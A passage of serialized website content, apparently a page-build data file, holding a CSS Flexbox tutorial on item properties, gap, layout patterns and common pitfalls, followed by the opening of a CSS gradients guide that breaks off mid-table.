600px;\n}\n",[143,58506,58507,58514,58524,58534,58545,58557],{"__ignoreMap":141},[1560,58508,58509,58512],{"class":1562,"line":1563},[1560,58510,58511],{"class":1566},".multi-row",[1560,58513,1571],{"class":1570},[1560,58515,58516,58518,58520,58522],{"class":1562,"line":337},[1560,58517,12504],{"class":1576},[1560,58519,1663],{"class":1570},[1560,58521,32187],{"class":1576},[1560,58523,2228],{"class":1570},[1560,58525,58526,58528,58530,58532],{"class":1562,"line":343},[1560,58527,32406],{"class":1576},[1560,58529,1663],{"class":1570},[1560,58531,32411],{"class":1576},[1560,58533,2228],{"class":1570},[1560,58535,58536,58539,58541,58543],{"class":1562,"line":365},[1560,58537,58538],{"class":1576},"  align-content",[1560,58540,1663],{"class":1570},[1560,58542,41176],{"class":1576},[1560,58544,2228],{"class":1570},[1560,58546,58547,58549,58551,58553,58555],{"class":1562,"line":889},[1560,58548,12400],{"class":1576},[1560,58550,1663],{"class":1570},[1560,58552,24601],{"class":1576},[1560,58554,1670],{"class":1669},[1560,58556,2228],{"class":1570},[1560,58558,58559],{"class":1562,"line":1710},[1560,58560,1585],{"class":1570},[33,58562,58563],{"id":58563},"gap",[16,58565,58566],{},"Sets spacing between flex items without using margins.",[135,58568,58570],{"className":1554,"code":58569,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  gap: 1rem;            \u002F* row and column gap *\u002F\n  gap: 1rem 2rem;       \u002F* row-gap column-gap *\u002F\n}\n",[143,58571,58572,58578,58588,58604,58623],{"__ignoreMap":141},[1560,58573,58574,58576],{"class":1562,"line":1563},[1560,58575,1655],{"class":1566},[1560,58577,1571],{"class":1570},[1560,58579,58580,58582,58584,58586],{"class":1562,"line":337},[1560,58581,12504],{"class":1576},[1560,58583,1663],{"class":1570},[1560,58585,32187],{"class":1576},[1560,58587,2228],{"class":1570},[1560,58589,58590,58592,58594,58596,58598,58601],{"class":1562,"line":343},[1560,58591,32235],{"class":1576},[1560,58593,1663],{"class":1570},[1560,58595,3585],{"class":1576},[1560,58597,32215],{"class":1669},[1560,58599,58600],{"class":1570},";            ",[1560,58602,58603],{"class":1649},"\u002F* row and column gap *\u002F\n",[1560,58605,58606,58608,58610,58612,58614,58616,58618,58620],{"class":1562,"line":365},[1560,58607,32235],{"class":1576},[1560,58609,1663],{"class":1570},[1560,58611,3585],{"class":1576},[1560,58613,32215],{"class":1669},[1560,58615,9426],{"class":1576},[1560,58617,32215],{"class":1669},[1560,58619,5755],{"class":1570},[1560,58621,58622],{"class":1649},"\u002F* row-gap column-gap *\u002F\n",[1560,58624,58625],{"class":1562,"line":889},[1560,58626,1585],{"class":1570},[16,58628,18204,58629,58631],{},[143,58630,58563],{}," instead of margins avoids the double-spacing problem where adjacent margins collapse or stack unexpectedly.",[11,58633,58635],{"id":58634},"flex-item-properties","Flex Item Properties",[16,58637,58638],{},"Flex items are direct children of a flex container. These properties control individual item behavior.",[33,58640,33018],{"id":33018},[16,58642,58643,58644,58646],{},"Defines how much an item should grow relative to siblings when extra space is available. Default is ",[143,58645,5285],{}," (no growth).",[135,58648,58650],{"className":1554,"code":58649,"language":1556,"meta":141,"style":141},".sidebar { flex-grow: 0; }  \u002F* stays at its natural width *\u002F\n.main    { flex-grow: 1; }  \u002F* takes all remaining space *\u002F\n",[143,58651,58652,58669],{"__ignoreMap":141},[1560,58653,58654,58656,58658,58660,58662,58664,58666],{"class":1562,"line":1563},[1560,58655,33518],{"class":1566},[1560,58657,1658],{"class":1570},[1560,58659,33018],{"class":1576},[1560,58661,1663],{"class":1570},[1560,58663,5285],{"class":1576},[1560,58665,30359],{"class":1570},[1560,58667,58668],{"class":1649},"\u002F* stays at its natural width *\u002F\n",[1560,58670,58671,58673,58675,58677,58679,58681,58683],{"class":1562,"line":337},[1560,58672,33550],{"class":1566},[1560,58674,44815],{"class":1570},[1560,58676,33018],{"class":1576},[1560,58678,1663],{"class":1570},[1560,58680,3585],{"class":1576},[1560,58682,30359],{"class":1570},[1560,58684,58685],{"class":1649},"\u002F* takes all remaining space *\u002F\n",[16,58687,58688,58689,58691,58692,58695],{},"If two items both have ",[143,58690,32488],{},", they share extra space equally. If one has ",[143,58693,58694],{},"flex-grow: 2",", it gets double the share.",[33,58697,58698],{"id":58698},"flex-shrink",[16,58700,58701,58702,58704],{},"Controls how much an item shrinks when space is insufficient. Default is ",[143,58703,3585],{}," (shrink equally).",[135,58706,58708],{"className":1554,"code":58707,"language":1556,"meta":141,"style":141},".no-shrink {\n  flex-shrink: 0; \u002F* never shrink below its basis width *\u002F\n}\n",[143,58709,58710,58717,58730],{"__ignoreMap":141},[1560,58711,58712,58715],{"class":1562,"line":1563},[1560,58713,58714],{"class":1566},".no-shrink",[1560,58716,1571],{"class":1570},[1560,58718,58719,58721,58723,58725,58727],{"class":1562,"line":337},[1560,58720,32263],{"class":1576},[1560,58722,1663],{"class":1570},[1560,58724,5285],{"class":1576},[1560,58726,3664],{"class":1570},[1560,58728,58729],{"class":1649},"\u002F* never shrink below its basis width *\u002F\n",[1560,58731,58732],{"class":1562,"line":343},[1560,58733,1585],{"class":1570},[16,58735,1943,58736,58738],{},[143,58737,32640],{}," on items like logos or fixed-width sidebars that should not collapse.",[33,58740,33590],{"id":33590},[16,58742,58743],{},"Sets the initial size of an item before growing or shrinking. Accepts any width value.",[135,58745,58747],{"className":1554,"code":58746,"language":1556,"meta":141,"style":141},".card {\n  flex-basis: 280px; \u002F* start at 280px, then grow\u002Fshrink *\u002F\n}\n",[143,58748,58749,58755,58771],{"__ignoreMap":141},[1560,58750,58751,58753],{"class":1562,"line":1563},[1560,58752,1567],{"class":1566},[1560,58754,1571],{"class":1570},[1560,58756,58757,58760,58762,58764,58766,58768],{"class":1562,"line":337},[1560,58758,58759],{"class":1576},"  flex-basis",[1560,58761,1663],{"class":1570},[1560,58763,23906],{"class":1576},[1560,58765,1670],{"class":1669},[1560,58767,3664],{"class":1570},[1560,58769,58770],{"class":1649},"\u002F* start at 280px, then grow\u002Fshrink *\u002F\n",[1560,58772,58773],{"class":1562,"line":343},[1560,58774,1585],{"class":1570},[33,58776,58778],{"id":58777},"the-flex-shorthand","The flex Shorthand",[16,58780,58781,58783,58784,1459,58786,1466,58788,58790],{},[143,58782,32187],{}," combines ",[143,58785,33018],{},[143,58787,58698],{},[143,58789,33590],{}," in one declaration.",[135,58792,58794],{"className":1554,"code":58793,"language":1556,"meta":141,"style":141},".item {\n  flex: 1;             \u002F* flex: 1 1 0% *\u002F\n  flex: 1 1 auto;      \u002F* grow, shrink, use content size *\u002F\n  flex: 0 0 200px;     \u002F* fixed 200px, no grow, no shrink *\u002F\n  flex: auto;          \u002F* flex: 1 1 auto *\u002F\n  flex: none;          \u002F* flex: 0 0 auto — item stays at content size *\u002F\n}\n",[143,58795,58796,58803,58816,58835,58855,58869,58882],{"__ignoreMap":141},[1560,58797,58798,58801],{"class":1562,"line":1563},[1560,58799,58800],{"class":1566},".item",[1560,58802,1571],{"class":1570},[1560,58804,58805,58807,58809,58811,58813],{"class":1562,"line":337},[1560,58806,32292],{"class":1576},[1560,58808,1663],{"class":1570},[1560,58810,3585],{"class":1576},[1560,58812,3572],{"class":1570},[1560,58814,58815],{"class":1649},"\u002F* flex: 1 1 0% *\u002F\n",[1560,58817,58818,58820,58822,58824,58826,58829,58832],{"class":1562,"line":343},[1560,58819,32292],{"class":1576},[1560,58821,1663],{"class":1570},[1560,58823,3585],{"class":1576},[1560,58825,18868],{"class":1576},[1560,58827,58828],{"class":1576}," auto",[1560,58830,58831],{"class":1570},";      ",[1560,58833,58834],{"class":1649},"\u002F* grow, shrink, use content size *\u002F\n",[1560,58836,58837,58839,58841,58843,58845,58848,58850,58852],{"class":1562,"line":365},[1560,58838,32292],{"class":1576},[1560,58840,1663],{"class":1570},[1560,58842,5285],{"class":1576},[1560,58844,13541],{"class":1576},[1560,58846,58847],{"class":1576}," 200",[1560,58849,1670],{"class":1669},[1560,58851,5785],{"class":1570},[1560,58853,58854],{"class":1649},"\u002F* fixed 200px, no grow, no shrink *\u002F\n",[1560,58856,58857,58859,58861,58863,58866],{"class":1562,"line":889},[1560,58858,32292],{"class":1576},[1560,58860,1663],{"class":1570},[1560,58862,33331],{"class":1576},[1560,58864,58865],{"class":1570},";          ",[1560,58867,58868],{"class":1649},"\u002F* flex: 1 1 auto *\u002F\n",[1560,58870,58871,58873,58875,58877,58879],{"class":1562,"line":1710},[1560,58872,32292],{"class":1576},[1560,58874,1663],{"class":1570},[1560,58876,24609],{"class":1576},[1560,58878,58865],{"class":1570},[1560,58880,58881],{"class":1649},"\u002F* flex: 0 0 auto — item stays at content size *\u002F\n",[1560,58883,58884],{"class":1562,"line":1717},[1560,58885,1585],{"class":1570},[33,58887,58888],{"id":58888},"align-self",[16,58890,58891,58892,58894],{},"Overrides ",[143,58893,51743],{}," for a single item.",[135,58896,58898],{"className":1554,"code":58897,"language":1556,"meta":141,"style":141},".container {\n  display: flex;\n  align-items: flex-start;\n}\n\n.pin-bottom {\n  align-self: flex-end; \u002F* this item aligns to the bottom *\u002F\n}\n",[143,58899,58900,58906,58916,58926,58930,58934,58941,58955],{"__ignoreMap":141},[1560,58901,58902,58904],{"class":1562,"line":1563},[1560,58903,1655],{"class":1566},[1560,58905,1571],{"class":1570},[1560,58907,58908,58910,58912,58914],{"class":1562,"line":337},[1560,58909,12504],{"class":1576},[1560,58911,1663],{"class":1570},[1560,58913,32187],{"class":1576},[1560,58915,2228],{"class":1570},[1560,58917,58918,58920,58922,58924],{"class":1562,"line":343},[1560,58919,32194],{"class":1576},[1560,58921,1663],{"class":1570},[1560,58923,32539],{"class":1576},[1560,58925,2228],{"class":1570},[1560,58927,58928],{"class":1562,"line":365},[1560,58929,1585],{"class":1570},[1560,58931,58932],{"class":1562,"line":889},[1560,58933,1702],{"emptyLinePlaceholder":363},[1560,58935,58936,58939],{"class":1562,"line":1710},[1560,58937,58938],{"class":1566},".pin-bottom",[1560,58940,1571],{"class":1570},[1560,58942,58943,58946,58948,58950,58952],{"class":1562,"line":1717},[1560,58944,58945],{"class":1576},"  align-self",[1560,58947,1663],{"class":1570},[1560,58949,58386],{"class":1576},[1560,58951,3664],{"class":1570},[1560,58953,58954],{"class":1649},"\u002F* this item aligns to the bottom *\u002F\n",[1560,58956,58957],{"class":1562,"line":1747},[1560,58958,1585],{"class":1570},[33,58960,58961],{"id":58961},"order",[16,58963,58964,58965,468],{},"Changes the visual order of items without modifying the DOM. Default is ",[143,58966,5285],{},[135,58968,58970],{"className":1554,"code":58969,"language":1556,"meta":141,"style":141},".first-visual { order: -1; }  \u002F* appears before siblings *\u002F\n.last-visual  { order: 1; }   \u002F* appears after siblings *\u002F\n",[143,58971,58972,58990],{"__ignoreMap":141},[1560,58973,58974,58977,58979,58981,58983,58985,58987],{"class":1562,"line":1563},[1560,58975,58976],{"class":1566},".first-visual",[1560,58978,1658],{"class":1570},[1560,58980,58961],{"class":1576},[1560,58982,1663],{"class":1570},[1560,58984,19059],{"class":1576},[1560,58986,30359],{"class":1570},[1560,58988,58989],{"class":1649},"\u002F* appears before siblings *\u002F\n",[1560,58991,58992,58995,58997,58999,59001,59003,59006],{"class":1562,"line":337},[1560,58993,58994],{"class":1566},".last-visual",[1560,58996,36449],{"class":1570},[1560,58998,58961],{"class":1576},[1560,59000,1663],{"class":1570},[1560,59002,3585],{"class":1576},[1560,59004,59005],{"class":1570},"; }   ",[1560,59007,59008],{"class":1649},"\u002F* appears after siblings *\u002F\n",[16,59010,59011,59012,59014],{},"Avoid ",[143,59013,58961],{}," for meaningful content sequence — screen readers follow DOM order, not visual order.",[11,59016,59018],{"id":59017},"real-world-layout-patterns","Real-World Layout Patterns",[33,59020,59022],{"id":59021},"holy-grail-layout","Holy Grail Layout",[135,59024,59026],{"className":1554,"code":59025,"language":1556,"meta":141,"style":141},".layout {\n  display: flex;\n  flex-direction: column;\n  min-height: 100vh;\n}\n\n.layout-body {\n  display: flex;\n  flex: 1;\n}\n\n.sidebar  { flex: 0 0 240px; }\n.main     { flex: 1; }\n.aside    { flex: 0 0 180px; }\n",[143,59027,59028,59034,59044,59054,59066,59070,59074,59081,59091,59101,59105,59109,59129,59144],{"__ignoreMap":141},[1560,59029,59030,59032],{"class":1562,"line":1563},[1560,59031,33471],{"class":1566},[1560,59033,1571],{"class":1570},[1560,59035,59036,59038,59040,59042],{"class":1562,"line":337},[1560,59037,12504],{"class":1576},[1560,59039,1663],{"class":1570},[1560,59041,32187],{"class":1576},[1560,59043,2228],{"class":1570},[1560,59045,59046,59048,59050,59052],{"class":1562,"line":343},[1560,59047,32686],{"class":1576},[1560,59049,1663],{"class":1570},[1560,59051,32691],{"class":1576},[1560,59053,2228],{"class":1570},[1560,59055,59056,59058,59060,59062,59064],{"class":1562,"line":365},[1560,59057,32698],{"class":1576},[1560,59059,1663],{"class":1570},[1560,59061,18114],{"class":1576},[1560,59063,32705],{"class":1669},[1560,59065,2228],{"class":1570},[1560,59067,59068],{"class":1562,"line":889},[1560,59069,1585],{"class":1570},[1560,59071,59072],{"class":1562,"line":1710},[1560,59073,1702],{"emptyLinePlaceholder":363},[1560,59075,59076,59079],{"class":1562,"line":1717},[1560,59077,59078],{"class":1566},".layout-body",[1560,59080,1571],{"class":1570},[1560,59082,59083,59085,59087,59089],{"class":1562,"line":1747},[1560,59084,12504],{"class":1576},[1560,59086,1663],{"class":1570},[1560,59088,32187],{"class":1576},[1560,59090,2228],{"class":1570},[1560,59092,59093,59095,59097,59099],{"class":1562,"line":2507},[1560,59094,32292],{"class":1576},[1560,59096,1663],{"class":1570},[1560,59098,3585],{"class":1576},[1560,59100,2228],{"class":1570},[1560,59102,59103],{"class":1562,"line":2524},[1560,59104,1585],{"class":1570},[1560,59106,59107],{"class":1562,"line":2529},[1560,59108,1702],{"emptyLinePlaceholder":363},[1560,59110,59111,59113,59115,59117,59119,59121,59123,59125,59127],{"class":1562,"line":2534},[1560,59112,33518],{"class":1566},[1560,59114,36449],{"class":1570},[1560,59116,32187],{"class":1576},[1560,59118,1663],{"class":1570},[1560,59120,5285],{"class":1576},[1560,59122,13541],{"class":1576},[1560,59124,43352],{"class":1576},[1560,59126,1670],{"class":1669},[1560,59128,1673],{"class":1570},[1560,59130,59131,59133,59136,59138,59140,59142],{"class":1562,"line":2542},[1560,59132,33550],{"class":1566},[1560,59134,59135],{"class":1570},"     { ",[1560,59137,32187],{"class":1576},[1560,59139,1663],{"class":1570},[1560,59141,3585],{"class":1576},[1560,59143,1673],{"class":1570},[1560,59145,59146,59149,59151,59153,59155,59157,59159,59162,59164],{"class":1562,"line":2558},[1560,59147,59148],{"class":1566},".aside",[1560,59150,44815],{"class":1570},[1560,59152,32187],{"class":1576},[1560,59154,1663],{"class":1570},[1560,59156,5285],{"class":1576},[1560,59158,13541],{"class":1576},[1560,59160,59161],{"class":1576}," 180",[1560,59163,1670],{"class":1669},[1560,59165,1673],{"class":1570},[33,59167,59169],{"id":59168},"equal-height-card-row","Equal-Height Card Row",[135,59171,59173],{"className":1554,"code":59172,"language":1556,"meta":141,"style":141},".cards {\n  display: flex;\n  gap: 1.5rem;\n}\n\n.card {\n  flex: 1; \u002F* all cards same width *\u002F\n  display: flex;\n  flex-direction: column;\n}\n\n.card-body {\n  flex: 1; \u002F* stretch to match tallest card *\u002F\n}\n",[143,59174,59175,59182,59192,59204,59208,59212,59218,59231,59241,59251,59255,59259,59266,59279],{"__ignoreMap":141},[1560,59176,59177,59180],{"class":1562,"line":1563},[1560,59178,59179],{"class":1566},".cards",[1560,59181,1571],{"class":1570},[1560,59183,59184,59186,59188,59190],{"class":1562,"line":337},[1560,59185,12504],{"class":1576},[1560,59187,1663],{"class":1570},[1560,59189,32187],{"class":1576},[1560,59191,2228],{"class":1570},[1560,59193,59194,59196,59198,59200,59202],{"class":1562,"line":343},[1560,59195,32235],{"class":1576},[1560,59197,1663],{"class":1570},[1560,59199,18515],{"class":1576},[1560,59201,32215],{"class":1669},[1560,59203,2228],{"class":1570},[1560,59205,59206],{"class":1562,"line":365},[1560,59207,1585],{"class":1570},[1560,59209,59210],{"class":1562,"line":889},[1560,59211,1702],{"emptyLinePlaceholder":363},[1560,59213,59214,59216],{"class":1562,"line":1710},[1560,59215,1567],{"class":1566},[1560,59217,1571],{"class":1570},[1560,59219,59220,59222,59224,59226,59228],{"class":1562,"line":1717},[1560,59221,32292],{"class":1576},[1560,59223,1663],{"class":1570},[1560,59225,3585],{"class":1576},[1560,59227,3664],{"class":1570},[1560,59229,59230],{"class":1649},"\u002F* all cards same width *\u002F\n",[1560,59232,59233,59235,59237,59239],{"class":1562,"line":1747},[1560,59234,12504],{"class":1576},[1560,59236,1663],{"class":1570},[1560,59238,32187],{"class":1576},[1560,59240,2228],{"class":1570},[1560,59242,59243,59245,59247,59249],{"class":1562,"line":2507},[1560,59244,32686],{"class":1576},[1560,59246,1663],{"class":1570},[1560,59248,32691],{"class":1576},[1560,59250,2228],{"class":1570},[1560,59252,59253],{"class":1562,"line":2524},[1560,59254,1585],{"class":1570},[1560,59256,59257],{"class":1562,"line":2529},[1560,59258,1702],{"emptyLinePlaceholder":363},[1560,59260,59261,59264],{"class":1562,"line":2534},[1560,59262,59263],{"class":1566},".card-body",[1560,59265,1571],{"class":1570},[1560,59267,59268,59270,59272,59274,59276],{"class":1562,"line":2542},[1560,59269,32292],{"class":1576},[1560,59271,1663],{"class":1570},[1560,59273,3585],{"class":1576},[1560,59275,3664],{"class":1570},[1560,59277,59278],{"class":1649},"\u002F* stretch to match tallest card *\u002F\n",[1560,59280,59281],{"class":1562,"line":2558},[1560,59282,1585],{"class":1570},[33,59284,32656],{"id":32655},[135,59286,59288],{"className":1554,"code":59287,"language":1556,"meta":141,"style":141},".page {\n  display: flex;\n  flex-direction: column;\n  min-height: 100vh;\n}\n\n.content {\n  flex: 1; \u002F* pushes footer to bottom *\u002F\n}\n",[143,59289,59290,59296,59306,59316,59328,59332,59336,59343,59356],{"__ignoreMap":141},[1560,59291,59292,59294],{"class":1562,"line":1563},[1560,59293,32669],{"class":1566},[1560,59295,1571],{"class":1570},[1560,59297,59298,59300,59302,59304],{"class":1562,"line":337},[1560,59299,12504],{"class":1576},[1560,59301,1663],{"class":1570},[1560,59303,32187],{"class":1576},[1560,59305,2228],{"class":1570},[1560,59307,59308,59310,59312,59314],{"class":1562,"line":343},[1560,59309,32686],{"class":1576},[1560,59311,1663],{"class":1570},[1560,59313,32691],{"class":1576},[1560,59315,2228],{"class":1570},[1560,59317,59318,59320,59322,59324,59326],{"class":1562,"line":365},[1560,59319,32698],{"class":1576},[1560,59321,1663],{"class":1570},[1560,59323,18114],{"class":1576},[1560,59325,32705],{"class":1669},[1560,59327,2228],{"class":1570},[1560,59329,59330],{"class":1562,"line":889},[1560,59331,1585],{"class":1570},[1560,59333,59334],{"class":1562,"line":1710},[1560,59335,1702],{"emptyLinePlaceholder":363},[1560,59337,59338,59341],{"class":1562,"line":1717},[1560,59339,59340],{"class":1566},".content",[1560,59342,1571],{"class":1570},[1560,59344,59345,59347,59349,59351,59353],{"class":1562,"line":1747},[1560,59346,32292],{"class":1576},[1560,59348,1663],{"class":1570},[1560,59350,3585],{"class":1576},[1560,59352,3664],{"class":1570},[1560,59354,59355],{"class":1649},"\u002F* pushes footer to bottom *\u002F\n",[1560,59357,59358],{"class":1562,"line":2507},[1560,59359,1585],{"class":1570},[11,59361,59363],{"id":59362},"common-pitfalls-and-solutions","Common Pitfalls and Solutions",[193,59365,59366,59377],{},[196,59367,59368],{},[199,59369,59370,59372,59375],{},[202,59371,27730],{},[202,59373,59374],{},"Cause",[202,59376,3690],{},[211,59378,59379,59393,59411,59425,59438,59455],{},[199,59380,59381,59384,59388],{},[216,59382,59383],{},"Items overflow container",[216,59385,44890,59386],{},[143,59387,58256],{},[216,59389,59390,59391],{},"Add ",[143,59392,33607],{},[199,59394,59395,59398,59404],{},[216,59396,59397],{},"Item shrinks below min-width",[216,59399,59400,59401],{},"Default ",[143,59402,59403],{},"flex-shrink: 1",[216,59405,1943,59406,1531,59408],{},[143,59407,32640],{},[143,59409,59410],{},"min-width",[199,59412,59413,59416,59419],{},[216,59414,59415],{},"Unequal card heights",[216,59417,59418],{},"Items not stretching",[216,59420,59390,59421,59424],{},[143,59422,59423],{},"display: flex; flex-direction: column"," on parent",[199,59426,59427,59430,59433],{},[216,59428,59429],{},"Double spacing between items",[216,59431,59432],{},"Using margins on both sides",[216,59434,59435,59436],{},"Replace with ",[143,59437,58563],{},[199,59439,59440,59443,59449],{},[216,59441,59442],{},"Content cut off in flex item",[216,59444,59445,59448],{},[143,59446,59447],{},"min-width: auto"," allows shrinking",[216,59450,1943,59451,1531,59453],{},[143,59452,32647],{},[143,59454,44900],{},[199,59456,59457,59462,59465],{},[216,59458,59459,59461],{},[143,59460,51743],{}," not working",[216,59463,59464],{},"Single line with no height",[216,59466,59467],{},"Give the container an explicit height",[11,59469,1355],{"id":1354},[41,59471,59472,59475,59485,59495,59500,59505],{},[44,59473,59474],{},"Flexbox is one-dimensional: items flow along one axis at a time",[44,59476,59477,59478,1459,59480,1459,59482,59484],{},"Container properties (",[143,59479,58162],{},[143,59481,41171],{},[143,59483,51743],{},") control the layout",[44,59486,59487,59488,1459,59490,1459,59492,59494],{},"Item properties (",[143,59489,33018],{},[143,59491,58698],{},[143,59493,33590],{},") control individual sizing",[44,59496,1388,59497,59499],{},[143,59498,58563],{}," for spacing instead of margins",[44,59501,59502,59504],{},[143,59503,33607],{}," is essential for responsive layouts",[44,59506,1943,59507,59509],{},[143,59508,32647],{}," on flex items that contain text or overflow content",[11,59511,286],{"id":285},[16,59513,59514,59515,59519],{},"Experiment with every flex property using our ",[98,59516,33649],{"href":59517,"rel":59518},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Fflexbox-generator",[14956],". Toggle grow, shrink, wrap, and alignment — see the layout update live and copy the CSS.",[11,59521,321],{"id":320},[41,59523,59524,59531,59538],{},[44,59525,59526,59530],{},[98,59527,59529],{"href":59528},"\u002Fguides\u002Fflexbox-generator-guide","Flexbox Generator Guide"," — Visual walkthrough of building flex layouts with a generator tool",[44,59532,59533,59537],{},[98,59534,59536],{"href":59535},"\u002Fguides\u002Fcss-layout-methods","CSS Layout Methods"," — Compare Flexbox against Grid, Float, and Positioning",[44,59539,59540,59542],{},[98,59541,56827],{"href":56826}," — Add visual depth to your flex layouts with gradients",[2043,59544,59545],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":59547},[59548,59549,59558,59566,59571,59572,59573,59574],{"id":58092,"depth":337,"text":58093},{"id":58102,"depth":337,"text":58103,"children":59550},[59551,59552,59553,59554,59555,59556,59557],{"id":41162,"depth":343,"text":41162},{"id":58162,"depth":343,"text":58162},{"id":58256,"depth":343,"text":58256},{"id":41171,"depth":343,"text":41171},{"id":51743,"depth":343,"text":51743},{"id":58495,"depth":343,"text":58495},{"id":58563,"depth":343,"text":58563},{"id":58634,"depth":337,"text":58635,"children":59559},[59560,59561,59562,59563,59564,59565],{"id":33018,"depth":343,"text":33018},{"id":58698,"depth":343,"text":58698},{"id":33590,"depth":343,"text":33590},{"id":58777,"depth":343,"text":58778},{"id":58888,"depth":343,"text":58888},{"id":58961,"depth":343,"text":58961},{"id":59017,"depth":337,"text":59018,"children":59567},[59568,59569,59570],{"id":59021,"depth":343,"text":59022},{"id":59168,"depth":343,"text":59169},{"id":32655,"depth":343,"text":32656},{"id":59362,"depth":337,"text":59363},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete CSS Flexbox tutorial covering all flex container and flex item properties. Learn flex-direction, flex-wrap, flex-grow, and more.",{"immutable":363},"\u002Fguides\u002Fcss-flexbox-tutorial",{"title":58087,"description":59575},"guides\u002Fcss-flexbox-tutorial","GAacGLgQ6JdFGgKXzhwy4m1u9e2C6hT1irRRjqyoOX0",{"id":59582,"title":59583,"body":59584,"date":2070,"description":60946,"extension":361,"meta":60947,"navigation":363,"path":56826,"readingTime":1717,"seo":60948,"stem":60949,"__hash__":60950},"guides\u002Fguides\u002Fcss-gradient-guide.md","CSS Gradient Guide: Mastering Linear, Radial, and Conic Gradients",{"type":8,"value":59585,"toc":60917},[59586,59590,59593,59612,59616,59619,59671,59674,59678,59681,59747,59751,59814,59821,59825,59828,59886,59889,59893,59896,59972,59976,60046,60054,60058,60064,60086,60095,60099,60102,60188,60192,60195,60240,60244,60247,60251,60265,60297,60301,60306,60326,60329,60333,60340,60471,60474,60476,60480,60607,60611,60662,60666,60740,60744,60855,60857,60892,60894,60900,60902,60914],[11,59587,59589],{"id":59588},"what-are-css-gradients","What Are CSS Gradients?",[16,59591,59592],{},"CSS gradients let you transition smoothly between two or more colors without using any image files. They render at any resolution, scale with the viewport, and download instantly since the browser generates them on the fly.",[16,59594,59595,59596,59598,59599,1459,59601,1459,59604,59607,59608,59611],{},"You can use gradients anywhere a CSS ",[143,59597,52796],{}," value is accepted — ",[143,59600,11362],{},[143,59602,59603],{},"border-image",[143,59605,59606],{},"list-style-image",", and even ",[143,59609,59610],{},"mask-image",". That flexibility makes them one of the most powerful visual tools in CSS.",[11,59613,59615],{"id":59614},"the-three-gradient-types","The Three Gradient Types",[16,59617,59618],{},"CSS provides three gradient functions, each producing a different visual pattern:",[193,59620,59621,59632],{},[196,59622,59623],{},[199,59624,59625,59627,59629],{},[202,59626,34969],{},[202,59628,43834],{},[202,59630,59631],{},"Visual Pattern",[211,59633,59634,59646,59659],{},[199,59635,59636,59638,59643],{},[216,59637,17100],{},[216,59639,59640],{},[143,59641,59642],{},"linear-gradient()",[216,59644,59645],{},"Colors flow along a straight line",[199,59647,59648,59651,59656],{},[216,59649,59650],{},"Radial",[216,59652,59653],{},[143,59654,59655],{},"radial-gradient()",[216,59657,59658],{},"Colors radiate from a center point",[199,59660,59661,59664,59668],{},[216,59662,59663],{},"Conic",[216,59665,59666],{},[143,59667,52792],{},[216,59669,59670],{},"Colors sweep around a center point like aPie chart",[16,59672,59673],{},"All three share the same color stop syntax, so once you understand stops you can apply that knowledge across every type.",[11,59675,59677],{"id":59676},"linear-gradients","Linear Gradients",[16,59679,59680],{},"A linear gradient transitions colors along a straight axis. You control the direction with an angle or a keyword.",[135,59682,59684],{"className":1554,"code":59683,"language":1556,"meta":141,"style":141},"\u002F* Direction keyword *\u002F\nbackground: linear-gradient(to right, #3B82F6, #8B5CF6);\n\n\u002F* Angle in degrees *\u002F\nbackground: linear-gradient(135deg, #3B82F6, #8B5CF6);\n\n\u002F* Top to bottom (default) *\u002F\nbackground: linear-gradient(#3B82F6, #8B5CF6);\n",[143,59685,59686,59691,59704,59708,59713,59725,59729,59734],{"__ignoreMap":141},[1560,59687,59688],{"class":1562,"line":1563},[1560,59689,59690],{"class":1649},"\u002F* Direction keyword *\u002F\n",[1560,59692,59693,59696,59698,59700,59702],{"class":1562,"line":337},[1560,59694,59695],{"class":1570},"background: linear-gradient(to right, ",[1560,59697,2260],{"class":5159},[1560,59699,1459],{"class":1570},[1560,59701,55458],{"class":5159},[1560,59703,1744],{"class":1570},[1560,59705,59706],{"class":1562,"line":343},[1560,59707,1702],{"emptyLinePlaceholder":363},[1560,59709,59710],{"class":1562,"line":365},[1560,59711,59712],{"class":1649},"\u002F* Angle in degrees *\u002F\n",[1560,59714,59715,59717,59719,59721,59723],{"class":1562,"line":889},[1560,59716,56473],{"class":1570},[1560,59718,2260],{"class":5159},[1560,59720,1459],{"class":1570},[1560,59722,55458],{"class":5159},[1560,59724,1744],{"class":1570},[1560,59726,59727],{"class":1562,"line":1710},[1560,59728,1702],{"emptyLinePlaceholder":363},[1560,59730,59731],{"class":1562,"line":1717},[1560,59732,59733],{"class":1649},"\u002F* Top to bottom (default) *\u002F\n",[1560,59735,59736,59739,59741,59743,59745],{"class":1562,"line":1747},[1560,59737,59738],{"class":1570},"background: linear-gradient(",[1560,59740,2260],{"class":5159},[1560,59742,1459],{"class":1570},[1560,59744,55458],{"class":5159},[1560,59746,1744],{"class":1570},[33,59748,59750],{"id":59749},"angles-vs-direction-keywords","Angles vs. Direction Keywords",[193,59752,59753,59763],{},[196,59754,59755],{},[199,59756,59757,59760],{},[202,59758,59759],{},"Keyword",[202,59761,59762],{},"Equivalent Angle",[211,59764,59765,59774,59784,59794,59804],{},[199,59766,59767,59772],{},[216,59768,59769],{},[143,59770,59771],{},"to 